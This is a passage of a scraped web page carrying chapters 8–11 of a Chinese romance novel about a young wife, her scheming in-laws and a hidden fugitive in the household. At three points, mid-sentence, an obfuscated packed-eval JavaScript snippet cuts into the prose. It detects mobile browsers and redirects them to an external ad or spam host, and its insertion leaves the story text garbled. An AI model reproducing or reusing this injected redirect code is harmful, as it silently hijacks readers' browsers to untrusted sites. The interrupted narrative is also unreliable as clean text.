不应该，实在不应该，躲在被子下狠狠捏了一把手背，才暗自长舒了一口气。 日久见人心，这才刚开始，他不敢说一定能走进少女的心里，但既然有了好感，他愿意为之努力一次。 不论如何，拥有一颗重情重义之心的人，都该被世间温柔以待。 “三百六十行，行行出状元”，莲心若有所思地开了口，“但不管是从文从武，还是走其他哪条路，就像我爹时常说的，只要时时事事都勿忘本心，就不枉来人间这一遭。” 少女此刻眼中的光采不再，小扇一般的睫毛上下忽闪，都不用看，陆时礼便猜到，那澄澈的眼眸里肯定又是一片潋滟。 想着想着，陆时礼的声音又柔了几分，“岳父一生无愧于心，九泉之下也是一代鬼雄，更何况也将你养得这般好，除了爱哭鼻子以外都挺让人欣慰的。” 言罢他犹豫一瞬，还是伸出手，隔着厚厚的被子在莲心的背上轻轻拍了拍。 心中暗暗想的却是，这小姑娘还是太瘦了，背上的蝴蝶骨直硌得手心发疼，不行，明天还得再想办法买点特产，让她多吃一点。 “谁爱哭鼻子了，我这分明就是重感情”，莲心不服气地撇了撇嘴，隔空朝他挥了挥拳头，“还有，我去年就及笄了，你要再像哄孩子一样哄我，小心我捶你啊！” 见她这副呲牙咧嘴故作炸毛的样子，陆时礼只得将右拳抵在唇畔掩住笑容，“知道啦，我家小娘子已经是大姑娘了，再这么哄下去别说你，连我都要捶我自己了。” “就你会说”，莲心这才斜他一眼，掩唇低低打了个呵欠。 陆时礼见状也伸了个懒腰，将靠在背后的枕头放回床头，“那娘子大人，夜话可否明日继续？时辰也不早了，再不睡估计明天为夫的早课就要迟到了。” 他那声娘子差点把莲心骨头都喊软了，莲心一头扎在枕上，声音有些发闷。 “睡吧睡吧，我也早就困死了。” 话音刚落，陆时礼便听到对面传来少女绵长的呼吸声，显然已经进了梦中。 但他眼底却是一片清明，指尖轻扣着枕侧的玉佩，若是莲心没睡，定会一眼认出。 这就是他爹临终之前，交给她投奔陆府的那枚信物。 8. 云吞 上了病妆后的陆时礼，总给人一种变了个人的感觉。 就比如那双时常含着戏谑的眼睛，一旦换了上那副病容，就清冷得宛若腊月里的寒潭，莲心甚至觉得夜谈时闪过的那点温柔就是自己的幻觉。 不过想归想，每个人心里都或多或少有点小秘密，她有，别人自然也有，既然陆时礼不愿说，那她也无需多问。 只不过，她隐隐有些担忧，总感觉陆时礼好像知道些她要做的事，话里话外间总会借着闲谈的由头，想从她这边再了解点什么。 这么想着，两人一前一后出了房门，莲心照例将熬好的药泼在院中央的枯井里，一回头间，便瞧见陆时礼正站在门口，若有所思地打量着对面。 他看的厢房不是别的，正是莲心安排周伯住的那间。 因着来得匆忙手头太紧，再加上他浑身负伤住店太过扎眼，所以莲心思前想后，还是将他带到了南院这间废弃已久的厢房中。 除了“患有痨病”的陆时礼久居于此外，听说那间房以前还死过个生了风寒的丫鬟，陆夫人最为避讳这些，一来二去的连南院都成为人迹罕至之地。 “时礼！”莲心慌忙倒净手中的药碗，指尖一松，那瓷碗就“啪”的一下砸在地上，在脚边摔了个四分五裂。 听见这声脆响，陆时礼眼中晦暗猝然褪去，三步并作两步冲到井旁，一把扶住了即欲摔倒的莲心，直到揽着她的腰身靠在树旁，才慢慢撤开了手。 然而就在他准备退后一步的时候，垂在身侧的手突然被轻轻拉住，一向生龙活虎的少女此刻眉头微微皱起，逐渐没有血色的脸庞显出几分不设防的脆弱。 “放心，我不走”，感受到少女紧绷的指节因这话而慢慢松弛，陆时礼唇畔勾起抹无奈的笑，只得看着那素白的小脸放柔了声音问，“可是哪里难受？” “没什么，就是刚才眼前突然一黑，浑身没有半点力气，连一点声音都听不到。” 莲心抿了抿唇，忍住僵麻的肩颈，尽量维持着将头半倚在男子肩头的动作，用平生最为虚弱的嗓音柔柔说道。 少女半敛着杏眼，未束的青丝轻轻挠在他的下颌与颈间，陆时礼觉着，连急促跃动的心脏都连同那块皮肤一起，被有意无意地拨动，微微发起痒来。 “许是空腹晨练的缘故，现在可好些了？用不用我背你去吃早食？” 作为资深的演技派，讲实话莲心的演技并不入流，但陆时礼不仅没有戳穿，反而顺着她的话继续问了下去，声音中的担忧听着也不像假的。 “不用不用”，这莲心哪里受得，情急之下差点露馅，幸好她还算机灵憋了回去，看着只比刚刚有了点精神，面上也有了几分血色。 见她这一连串动作，陆时礼强压住嘴角的笑，朝她伸出一只手，“那为夫牵着你的手可好？” 初升的旭日下，修长白皙的手指被镀上了一层金边，在阳光下熠熠生辉。 莲心深吸了一口气，咬了咬牙，还是搭上了那只手，在感受到对方的指尖明显一僵时，面上早已是白里透红。 “走吧，饿死了，今天我要吃两大碗云吞！”说到了吃，这丫头的声音立刻嘹亮起来，哪还有半点病弱的样子。 “好，都依你”，陆时礼扬唇一笑，语气中多了几分揶揄，“对了，我字嘉文。你是我娘子，日后也唤我小字便好，别让外人一眼看出我俩的生分。” 在大曜，除了长辈师长和知交好友以外，能唤男子小字的，便只有明媒正娶的妻子。 与前三种不同，男女之间互唤小字与闺名，代表着一种特殊的亲昵，同样也意味着没有血缘关系的两人被牵引到了一起，互相扶持彼此关爱，度过往后的漫漫余生。 忽地闪过一丝异样的情愫，莲心微微一怔，最终还是犹豫着“哦”了一声。 “如果觉着不好记的话，直接唤夫君也更好。”陆时礼得寸进尺，又笑着继续开口。 什么嘛，她也是上过学堂的，只不过更喜欢练功而已，这两个字都怕她记不住，真拿她当文盲了啊？ 莲心瞥了他一眼，嘟了嘟嘴，“学好文章的意思嘛，挺好记的。” 呦，小姑娘又不太乐意了。 “我娘子果真冰雪聪颖”，那陆时礼能怎么办，只能继续往下哄，“要不先叫一声，我听听看效果如何？” 莲心在心里翻了个大白眼，不就唤个小字嘛，能有什么效果不效果的，但迎着那双期待的目光，她还是没能抵住诱惑，轻启朱唇说了一遍。 “嘉文……” 少女低声讷讷，有着江南女子语调中特有的软糯，但嗓音又格外清亮，这一声似有似无的娇呼宛若洒落的梨花，在脸颊蹭了一下就翩然而下，无情似有情。 等了半天没有回应，莲心有些疑惑，便偏头过去打量，谁知正对上那双满含春水的黑眸，霎时间两人脖颈之上的白皙肌肤，被一瞬间点燃红透。 院门之外马蹄阵阵，巷子口追逐而过两个孩童，身后不远处就是语带嗔怪的父母，莲心一瞬间宛若触火一般抽回了手，不着痕迹地往斜后方撤了半步。 “还好我反应快”，待到与一行人擦肩而过，莲心才眨了眨眼，满脸等待夸奖的神色，“咱俩这怨偶的戏码才刚开了个头，要让别人看见牵手可真就前功尽弃了。” 看着她乐不自胜的样子，不知是何缘故，陆时礼只觉胸口微微有些发闷，破天荒地没有出言应和，而是低头看了眼空无一物的手，半晌才不动声色地“嗯”了一声。 莲心本想顺水推舟说出毁约的事，但见他兴致缺缺也没再开口，两人就这样隔着不远不近的距离走了一路，各自琢磨着心事。 云吞铺子的小伙计还是一如既往的热情，手脚麻利地端上三碗热腾腾的云吞，见两人是回头客，又赠来一大壶雨后绿茶。 莲心一直觉得，没什么是一顿美食解决不了的，如果有，那就再来一顿。 鲜虾的香甜在唇齿间弥漫，与腹中饥饿一同消散的，还有胸中郁结的愁闷。 这个时候，如果再来一壶清酒，那更是足以令人短暂抛却烦恼，享受片刻闲暇与舒展。 她吃得畅快，也同样瞧见对面的陆时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156362|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼半眯着眼，虽然偶有几声掩人耳目的咳嗽，但神情间也洋溢着淡淡的愉悦。 来往的行人有不少是陆家的熟识，见两人各吃各的几乎并不交谈，也都或多或少地向莲心投来或同情或嘲讽的目光，似乎已经瞧见了她日后孤苦的命运。 不管他们怎么看，两人仍旧低着头沉浸在美食中，周围投来的道道眼神宛若爽口小菜，不仅没有抑制丝毫食欲，反而还更加下饭。 日子是自己的，只要自己过得顺心，别人爱怎么看怎么看。 “嘉文哥——” 正喝着鲜汤，身后突然传来少年微哑的高呼，莲心循声回头，只见一位身着蓝衫的俊朗少年径直向这边冲来，身后三步远还跟着一个灰衣书童。 “离老远我就觉着你那背影眼熟，没想到真这么巧遇见了！” 少年不过十七八岁，略有些黝黑的面颊上铺满了细细密密一层薄汗，语气中有藏不住的欣喜。 “我好不容易追上来，安澜偏还拦住我说不是，连自家主子都认不出，还不如把书童的位置让给我！” 那少年一边亲昵地握着陆时礼的衣袖，一边嗔怪地瞥了后面追来的书童一眼。 生生受了个白眼的安澜咧嘴一笑，又抬手冲着那少年作了个揖。 “小弟有眼无珠，哪能赶得上孙小公子。不过这书童的位置还请您高抬贵手，给小弟留个饭碗吧。” 虽然嘴上说着讨饶的话，但莲心分明看到，书童眼中一闪而过的机敏，以及与陆时礼短暂对视时表露的片刻歉意。 “这次就先饶你，下不为例”，孙小公子呲牙朝他挥了挥拳，这才后知后觉注意到了对面的莲心，“呀”的惊呼出声。 “苏莲心，我两日前刚过门的妻子。” 虽然刻意没有去看对面的少女，可在说到“妻子”二字的时候，陆时礼仍是喉头一痒，唇畔溢出了抹压不住的笑意。 这位孙小公子也不是等闲人物，万花丛中走过一遭，自然注意到了两人间那点若有若无的暧昧气氛。 “嫂子好”，他笑眯眯地朝莲心鞠了个躬，“小弟姓孙名怀砚，是城东孙氏绸缎铺的少东家，和嘉文兄同在松林学苑往后有什么事您尽管吩咐，我绝无二话！” 怀砚，好吧，如此通俗易懂，想必又是位望子成龙的父亲，在名字里埋藏的殷切期待。 莲心回了个温婉的笑，“嘉文性子淡，往后就劳烦怀砚弟多关照了”，随即站起来福了福身，“时辰也不早了，你们聊，我就先回了。” 陆时礼点了点头，谁承想孙怀砚看着远去的背影，竟又扯开嗓子喊了起来，“嫂子放心，嘉文兄是我心中楷模，我肯定会好好照顾他的！” 果不其然，下一秒他就被楷模发了逐客令，饶是心中不解但也只能咽下，面上仍堆满了笑，跟在五步开外的位置往学苑走。 见他这副吃瘪又不敢发作的样子，安澜自然是窃笑不止，但转瞬就换成一副严肃的神色。 因为自家公子压低了声，在他耳边说了句。 “南院厢房的人今晨不见了……” 9. 二心 不是都已经伤到下不了地，怎么会突然不见？ 身侧又有行人嬉笑着走过，安澜等到他们走远，小心确认周围无人注意，这才偏到陆时礼耳旁，压低声音问道。 “会不会……与少夫人有关？” 其实这个念头是经过深思熟虑的，毕竟人是莲心冒死救下的，也是她将人安置在那间厢房，作为少数几个了解情况的参与者，是最具有动机和条件的。 但想归想，他五岁的时候就陪在自家少爷身边，一路风风雨雨走来，既是生死相托的心腹，也是秉性熟悉的知己。 无论是从少爷这两天隐隐流露出的情绪，还是看向少夫人莲心的几个眼神，安澜都不难发现几分端倪，那就是两人之间不似对外表现的那般无情。 至少，自家少爷这边，对新过门的妻子已经不仅仅是有些好感，而是到了喜欢的程度。 事出紧急也考虑不了许多，将所想问出口后，安澜也没有急着再说，只是用恳切的目光看向身旁青年英挺的侧脸，静静等着他的回答。 “不会是她。” 没成想向来处事谨慎的陆时礼却一反常态，只沉默了一瞬就给出了自己的看法，语气更是斩钉截铁，没有丝毫的犹豫迟疑。 听他此言，安澜悬着的心一沉，在心中暗暗叹了口气。 说喜欢还是太浅了，瞧少爷这模样，怕是已经开始陷进去了。 “现在下定论还是太草率，不管在谁手上，没找到人之前，小心点总是好的。”时刻醒着神是身为忠仆的职责，为了要事他不得不劝。 凝视着眼前青年几乎与面皮融为一体的那抹胭脂，安澜轻轻闭了闭眼。 出于私心，他倒希望是自己多虑，嘉文他这些年过得太苦，若能遇到个心意相通之人，作为从小到大的朋友，他也真心为嘉文感到高兴。 安澜的这番心思自然逃不过陆时礼的眼睛，情他领了，但道理也不能言明，这小子的心思他最清楚，今儿不弄个清楚，这点事够他琢磨一阵子了。 “昨儿傍晚我进院时，特意绕到那间厢房看了一眼，人好端端在屋里靠着。而我之所以这么确定此事与莲心无关，是因为从那时起到今晨发现人不在，我们俩都在一起。” 末了他换了口气，“无论动机如何，她没有转移那个人的时间。” 说完他才发现，这番解释完全是没有必要的，因为那小子瞪大了双眼，显然在其中找错了需要关注的重点。 “你们俩……真到那一步了？” 饶是陆时礼没有理他，径直加快脚步向前走去，安澜还是看见他那双莹莹发亮的耳朵，以极快的速度布满红霞。 他说了还好，这一沉默倒更让安澜着急起来，在原地狠狠跺了一下脚，便三步并作两小跑着追了上去。 比起陆时礼的身高腿长，安澜那双五五分的小短腿显然不够用，但好在自家这位少爷傲虽傲，总归还是惦记着他的。 只见陆时礼走出一大步后，用眼风向后一扫，唇畔勾起一抹浅笑，随着他步子的略微放缓，安澜终于气喘吁吁地跟了上来。 “哎呦，哎呦，可累死我了”，安澜用袖子抹了一把额头上密布的汗，翻了个白眼嗔怪道，“不说就算了呗，走那么快做什么？” 见小书童这副模样，陆时礼笑意更浓，却又不想让他瞧见太过得意，只得将右拳抵在嘴边来欲盖弥彰，“你这体力越来也差了，刚走这两步就喘成这样。” “你还有脸说，为了配合你演戏我足不出户小半个月，能走成这样就不错了，哪轮到你挑三拣四的！” “分明就是你疏于练习，总也不好好自省”，陆时礼也不甘示弱，给他飞了个眼刀，转而眸色微沉，又进入了正题。 “既然没有外患作祟，那必然就是家贼难防了。” “家贼？”安澜闻声也探过了头，声音又压低了几分，“难不成是陆夫人指使手下去干的？” 看他那张惊慌失措的娃娃脸，陆时礼无奈地摇了摇头。 跟在他身边这么多年，想事情还是没有多大长进，当真是孺子不可教也啊！ “莫说她因忌讳多从不踏足南院，就是没有这层原因，此事也绝非她能所为。” “为什么？”安澜不解，“那老毒妇心眼子那么黑，说不定就跟倭人那边达成了交易，拿了钱帮他们消除后患。” 他这番说法听着还有点道理，但却忽略了一点。 “有一点我忘了说，昨夜子时下过一场小雨，今晨青石板上仍有氤氲水迹”，说到这里，陆时礼看向安澜，深瞳兀地一紧。 “可是我看了又看，那间房的门口，只有半块宽掌的前足，再没有别的任何脚印。” 这句话不亚于一声惊雷，在安澜脑中轰然炸开。 好半天，直到陆时礼伸手拉他堪堪避过面前的马车，滚滚的车轮声越来越远时，他才听到自己艰涩的提问。 “那就是说，那老小子吃里扒外，趁人不在偷溜出去送信？” 安澜心里都快气炸了，他娘的，没情没意的东西，差点就把大事给耽误了。 “也不尽然。”并没和安澜一样难掩怒意，陆时礼沉吟着摇了摇头，说出了自己的考量。 “听闻他二十年前在江州留有一子，此番死里逃生，想必肯定是要去见上一面的。” 比起前一种猜想，安澜更愿意相信这个才是真的，但呼出半口气后，他又马上想到后续的问题，难免又沉着脸唉声叹气起来。 “要真是这样，那岂不牵扯更广。本来保住他就不容易，现在又多了个不知所在的儿子，想再找到他岂不跟大海捞针一样了？” 这倒是话糙理不糙了。 常言道车到山前必有路，况且在陆时礼看来，事情远没有料想的那么糟糕。 “行了，别怨天尤人了”，抬手拍了拍安澜的肩，陆时礼朝他扬唇一笑，神色间颇有几分掌控全局的得意。 “既然知道我们会保护他，那面对随处可见的危险，你觉得像周伯这样的老江湖会做什么？” 几乎没有迟疑，安澜就抬头答道，“自然是向我们投诚，寻求有力的保护！” “那还急什么”，陆时礼挑了挑眉“我跟你说这事就想提个醒，往后南院也要留几人值夜，平日通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156363|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信更要加倍小心。” 眼瞧着到了学苑大门，陆时礼收敛神色，又恢复了那副病弱的模样，轻声说了一句，便在几位同学的前呼后拥中进了书斋。 “准备已做，剩下的，便是静心等待了……” 进行晨读的两人没有想到，此时的苏莲心已经帮他们验证了，陆时礼的猜测和现实几乎分毫不差。 因为，还不到午时，风尘仆仆的周伯就又偷偷溜了回来。 之所以将时间记得这么清楚，是因为他的突然出现，还吓了踱步回来的莲心一大跳。 和陆时礼一行人分开后，莲心又买了屉蟹黄灌汤包，边走边吃刚到了陆府门口，就被冷着脸的桃华挡住了去路。 大清早等候在此不是为别的，正是陆夫人来兴师问罪来了。 约莫是等不及加了几味猛料，一日过后见陆时礼仍是那副半死不活的模样，非但没有加重的迹象，反而悠哉悠哉又去了学苑，一向霸道惯了的陆夫人自然是不能忍。 面对座上一人一猫的逼人压迫，莲心小脸一白，低着头装出副无辜胆怯的神情，既不辩驳也不认错，宛若一团棉花，让人打无可打，骂无可骂。 末了，饶是仍不解气，陆夫人终是对莲心无可奈何，又吩咐桃华递来一包草药，苦口婆心地劝她多上点心，这才摆摆手将她赶了出去。 将陆夫人摆了一道后，莲心自然松了口气，一口闷气呼出了大半。 可当她哼着小曲刚走到南院门口时，便隐隐约约瞧见院中央那棵大梨树上的枝叶微微发颤，凝神一瞧，才看清那里停着一团黑影。 条件反射地，手中提着的那包草药一个甩投，直直砸向黑影的正中。 眼瞅着马上就要击中，那黑影才后知后觉反应过来，也不知怎么，“嘭”的一声自己栽倒在地，差点把身下的青石板砸出一个大坑。 他这一摔倒不要紧，可把苏莲心给吓了一跳，更倒霉的是她正抬步上前查看此人，没成想那药包没砸到人，反倒敲落了一枝树杈。 百年老树哪怕是一个枝杈都极为粗壮，况且那一下又刚刚好打中莲心的后颈，只听“哎呦”一声，两个人都呲牙咧嘴地倒在地上。 过了片刻，莲心才缓过劲来，眼前短暂的黑暗也消散净尽，伸手捂了一把刺痛的后颈，果真已是鲜红一片。 她这一砸尚且如此，更不要提从两人多高的古树上栽落下来摔在青石板地的周伯了，那真是怎一个痛字了得，愣是在地上趴了半刻钟才勉强坐起身。 见他也并无大碍，莲心才松了口气，将他小心翼翼搀进房中后，又仔仔细细重新上过了药，这才找到追究的时机。 “说吧”，莲心柳眉微竖，语气中有着几分严肃，“一大清早就鬼鬼祟祟的往出溜，是不是通风报信去了？” 周伯裹成粽子的脸上看不到表情，但莲心从那双眼睛就猜到肯定是满满的讨好，“大侄女，你这可是冤枉我了，死我都不可能干那种事啊！” 但下一秒，他混沌的眼神突然清明起来，声音也急得发着抖。 “你可得帮帮叔，那帮狗贼把我儿子给截走了……” 10. 真心 院子里忽然响起清脆的脚步，来者不疾不徐地踏过青石板，发出有节奏的“啪哒”声。 这突如其来的变故让周伯双目一震，几乎瞬间便从腰间抽出飞刀，想也不想就要从半掩的窗缝往出扔。 “别急”，旁边的莲心反应更快，一把按住了他几欲投掷的右手，自己则小心翼翼地贴在窗缝往外看，眼中的凌厉也慢慢散去，“只是府上的一个丫鬟。” 听出她语气中的松缓，周伯也暗暗舒了口气，但还是不太放心，也凑到窗棂缝隙去瞧，待看清临风而来的娇俏少女后，抚着下巴“啧”了一声。 又换上身桃粉色绣金海棠襦裙的桃华，提着一个竹篮，就那么挺秀的站在院门口，如同初春含苞欲放的桃树，清冷却又格外动人。 见无人循声来迎，她也并无丝毫进院之意，就那么俏生生的立在原地，不高不低的唤了一声。 “老夫人差奴婢过来送些新供的鲜果，不知少夫人可方便到门口来取一下？” “哎，好像是在招呼你呢？”周伯顿时来了精神，连腰伤都抛之脑后，呲牙咧嘴地就要往出迎，“哪有让客人等的理由，你歇着，我去接待也是一样。” 客人？ 别忘了人家可是陆夫人身旁的丫鬟，要这么论，你这东躲西藏的老头才是客人呢。 看他这副模样，莲心就知道，肯定是好色的老毛病又犯了，一抬腿就横空拦住了他的去路，挑着眉摇了摇头。 “您老可省省吧，人家怕是都没你小女儿年岁大”，莲心又起身将他扶好靠在床头，这才拍了拍手，“您先歇着，我去去就回。” 直到她潇洒的身影远去，周伯扔恋恋不舍地透过缝隙，看着院门口那抹娇俏的粉，半晌才深深叹了口气，语气中有三分惊艳七分怅惘。 “我家那丫头要生成这样还说啥了，哎，咱是没有养个漂亮女儿的命喽……” 没有直接从正门出去，莲心从侧后方的小窗轻巧翻过，又将手放在屋后的铜盆里浸了浸，这才提着半桶衣篓，笑盈盈地迎了上去。 “方才在院后洗衣服，哗啦啦的没有注意，让桃华姑娘久等了吧？” “少夫人客气了，奴婢也是刚来。” 话虽然这么说，但莲心注意到，桃华那双清泠泠的眸子刻意在她手上顿了一瞬。 待看清那半湿的袖口，以及顺着指尖往下滴落的水珠时，才又不动声色地收回了目光。 方才她便想到，侧厢房久不住人，若从正门出去太过惹眼，难免会引来怀疑，虽然感觉桃华是友非敌，但出于谨慎，她还是多了个心眼。 此刻见桃华这一连串小举动，莲心才暗暗松了下心，幸好灵机一动想到屋后的浣衣房，编了这个还算得上天衣无缝的说辞，给避了过去。 松了口气的同时，淡淡的失望在心间细细密密地蔓延开来，她看着眼前少女清清冷冷的神情，无声地低叹了一声。 “来都来来，要不进去喝杯茶？”莲心小心地敛好那点惆怅，重新换上和煦亲近的笑，“嘉文昨日带来的雨前龙井，我闻着很是甘香。” 和她料想的一样，对面的桃华虽然生的娇俏动人，但却像一潭溪水，无色无波，既接纳一切又排斥万物，柔弱中有着难以揣度的神秘。 “奴婢还忙着交差，就不劳少夫人麻烦了”，将皓腕上悬着的篮子递了过去，桃华抿着唇行了一礼，“您接着忙，奴婢就先告退了。” 敞开的篮中满满当当塞了一下子蜜桔，个头也都不小，黄澄澄的分外诱人。 莲心只看了一眼，便觉香气扑鼻，忙忍住不去在看，也朝桃华点了点头，“姑娘路上小心，下次有空再来喝上杯茶，正好咱俩也坐下说说话。” “是”，桃华又作了个揖，神情间仍看不出半点情绪，说罢也不逗留，又如同一阵清风般，飘飘然隐没在了长长的青石板路上。 待到脚步声越来越轻，最后完全听不到时，莲心才微微闭了闭眼，提着那篮蜜桔，慢悠悠地又转头回了侧厢房。 周伯正叼着根草，翘起二郎腿哼着小曲儿，见推门而入的只有莲心一人，眼神中的失望几乎不加掩饰。 “哎，就这么不待见自己的救命恩人啊”，莲心长叹一声，抚着胸口装作悲痛的样子，“原本还想请你常常新上的蜜桔，既然如此那还是算了吧。” 听到“蜜桔”二字，刚才还满眼生无可恋的周伯顿时来了精神，“扑棱”一下直起身子，见莲心已经到了门边，赶忙出言讨好。 “这说得是哪里话！怎么着你也是我从小看到大的，莫说你冒死救我一命，就是没有，你周伯这心里也早就把你当成自家闺女了。再说这扎心窝子的话，就是要我以死来自证真心了！” 若说前半句还有点可信度，那最后一句她可是半点不信。 抛开真假不提，这话听着倒让人心生亲近，莲心扬眉一笑，从篮子里挑出两个又圆又亮的蜜桔，不轻不重地扔了过去。 到底还是练家子，哪怕屡次三番伤成这样，周伯还是一勾手就接了个正着，末了还不忘冲莲心嘿嘿傻乐，“怎么样，你周伯我还是宝刀未老吧？” 这老头，不仅给自己取了“周伯”这么个占人便宜的名字，还总是一副没心没肺的样子，当真是个活灵活现的老顽童。 莲心无奈一笑，抱着拳拱了拱手，“您那本事自不必说，行了，橘子也给了，咱还是先说说正事吧。” 说到这她声音低了几分，神色也变得凝重起来。 “您儿子是如何被截走的？” 南院废弃已久的厢房内有人在窃窃私语，而几米开外的东院内，陆夫人也撑着额听回来的桃华汇报情况。 当听到莲心在后院独自浣衣时，陆夫人那双凤眼微微眯起，眼尾处细细密密的纹路，露出了浓妆下难掩的岁月侵蚀。 殷红的指尖无意识地划过猫儿低垂的脖颈，只听“喵”的一声，身上伏卧着的乖顺白猫一跃而起，“跐溜”一下就蹿到了暖炉之下，瞪着蓝汪汪的大眼睛打量周围。 “不碍事，让它玩儿去吧”，陆夫人挥手驱散了几欲追赶猫儿的丫鬟，红唇轻蔑一笑，“和人一样，都是个养不熟的东西呢！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156364|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边的小丫鬟自是不敢搭话，深垂着头小心翼翼地退了下去，而陆夫人显然对无人回应不太满意，声音又冷了几分，“桃华你说，是不是这个理呢？” 全场霎时陷入一片死寂，门里门外的丫鬟们都屏住呼吸，心里都为屋中央的那位粉衫少女捏了把汗。 虽然桃华为人清冷，但府内上下对她的印象都颇为不错，特别是眼看着就要成为二少爷的妾，平日里不论回不回应，都会热情的招呼一声。 用常说的一句话就是，“飞上枝头变凤凰了”。 不少年纪小的丫鬟都视她为榜样，毕竟这样的出身，能成为同房是常事，但直接做妾却是极为罕见的。 短暂的沉默后，屋内终于响起了桃华那清泠泠的嗓音，不疾不徐，格外的悦耳动听。 “奴婢觉着不过是些畜生，任他们再怎么折腾，只要致命的七寸捏在主人手中，便不足为患。至于养不熟这点，从玩耍的角度看，倒也别有一番乐子在了。” 此言一出，非但陆夫人展颜而笑，连丫鬟们也在心里连连赞叹，桃华姐当真不是一般女子，要不府里上下几百号人，怎么偏是她能在这么短时间内脱颖而出。 “瞧瞧，平日里让你们偷懒不读书”，陆夫人眼中有藏不住的欣赏，“还是桃华最得我心思，快到这来让我好好看看。” 说罢便真笑眯眯地伸出了手，方才那隐隐的杀气一扫而空，倒真像个风韵犹存的温婉主母，夸赞着自己一手提拔的伶俐丫鬟。 拉着那双白皙的手看了一会，陆夫人又拔下自己最为珍视的海棠琉璃金步摇，插到了桃华素净的发鬓间，制止了她想要拒绝的动作。 “好钗配佳人，我青春不再，可你却是正当芳华。既和此钗如此相称，往后便一直戴着吧。” “多谢夫人赏赐，奴婢定会谨记教诲。”桃华依旧面色平静地伏首道谢，只是在敛眸的瞬间，眼中闪过了一丝难以察觉的轻蔑。 极浅极淡，饶是心思繁杂如陆夫人，都未能有所察觉。 世间之事，从来都是有人欢喜有人愁。 那边陆夫人喜得干将，而一院之隔的这边，莲心却托腮凝望着摇曳的一树梨花，暗自琢磨着心事。 据周伯所言，他和儿子周临渊是在西坊的龙尾巷遭遇的埋伏。 对方有四人，皆是一袭黑衣蒙着面，手中持的是大曜最常见的白刃剑，就连招式都整齐划一，却有半点无法让人摸出路数。 两人赤手空拳，交战时自然落了下风，不过之前那么多镖也不是白走的，周伯心一狠，当机立断选择用暗器掩护，趁乱和儿子走为上策。 可千算万算，还是漏了一点，那就是他儿子与他失散多年，愣是没有半点默契。 饶是他拼命争取到了两次时机，也都被儿子硬生生的视而不见，最后没有办法，只得扔下被团团围住的儿子，自己寻了个空档逃了出去。 想到这，莲心无奈摇了摇头，还真是个好爹啊。 但下一刻，她脸又唰的一白，抄起短剑便夺门而出。 糟了，莲生怕是也有危险！ 11. 莲生 刚走出几步，门便被人从外面轻轻推开。 莲心猛地顿住脚步，幸好经常练习马步，脚下功夫了得，这才堪堪稳住身形，没有和迎面而来的陆时礼撞个满怀。 “怎的脸色如此不好，可是发生了什么事？” 见她这番匆匆出门的样子，陆时礼也不急着进屋，就那么靠在门边，看向莲心的眼中有惊诧，但更多的还是担忧。 莲心不由得将衣袖内的短剑握得更紧，微侧着身将那只手藏在身后，抿着唇摇了摇头。 “没事，就是突然发现丢了件东西，想去白日里去的那几家店铺里找找。” 一如既往的，他这个小娘子的演技并不好，无论是说话时的面部表情，抑或给出的理由都浮于表面，经不起细微的推敲。 这么想着，陆时礼不动声色的扫了眼她那只微微颤动的右臂，转而望向那张毫无血色的小脸，语气更柔了几分，“外面日头快落了，正好明日学苑休息，我陪你一起去找可好？” “我怕明日就晚了”，莲心强露出一抹僵硬的笑，“这条街我都摸熟了，你现在屋休息一会，我去找找很快便回。” 言罢她微微抬头，见陆时礼仍沉沉地看着她，靠在门畔没有半点想要移开的意思，便深吸口气，准备翻窗而出。 然而她刚后撤半步，左臂忽地一紧，不用看都知道拉她的是陆时礼，索性心一横，用了招银蛇摆尾挣脱了桎梏，凌空一跃到了窗边。 可就那么顺着支开的窗子往外一看，莲心顿时傻了眼，呆愣愣地僵在原地，瞪大眼睛半张着嘴，俨然被惊得不轻。 只见落花纷飞的梨树下，静静立着个约莫七八岁的蓝衫男孩，一朵花瓣恰巧落在那初见俊秀的眉间，男孩咧嘴一笑，尽显天真烂漫的蓬勃朝气。 “莲生！” 男孩正沉浸在漫天繁花的盛景中，突然听见有人呼唤自己，面色忽地一白，但又在看见飞奔而来之人的瞬间，又洋溢出了更加欢快的笑容。 被熟悉的淡淡莲子香气包裹的瞬间，莲生用瘦弱的小手紧紧扯住了姐姐的衣袖，将头深深埋进了温热的肩膀，用带着哭腔的童音唤了一声“阿姐”。 猝然重逢后的喜悦渐渐淡去，随之而来的，便是作为姐姐的恳切担忧。 心疼地抚摸了几下幼弟瘦削的背脊，莲心语气中满是日积月累下来的牵挂与思念，“这些天在学堂有没有好好吃饭，怎么摸着比刚来时还要瘦了？” “有的，阿姐你不知道，我每餐都要吃上两大碗饭，他们都笑话我是饿死鬼转世呢！” 